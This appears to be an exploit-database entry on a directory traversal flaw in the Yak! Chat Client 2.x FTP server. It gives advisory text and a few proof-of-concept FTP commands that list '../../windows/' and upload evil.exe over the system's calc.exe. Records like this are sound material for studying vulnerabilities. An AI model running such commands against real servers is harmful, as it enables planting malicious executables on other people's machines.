Yak! Chat Client 2.x - FTP Server Directory Traversal

Author: Luigi Auriemma
type: dos
platform: windows
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date_added: 2004-10-15 
date_updated: 2013-03-10 
verified: 1 
codes: CVE-2004-2184;OSVDB-10763 
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source: https://www.securityfocus.com/bid/11433/info

Yak! Chat Client FTP server is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

This issue can ultimately allow an attacker to compromise a computer by placing malicious files on the system and executing these files through other means.

Yak! 2.1.2 and prior versions are reported vulnerable to this issue.

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe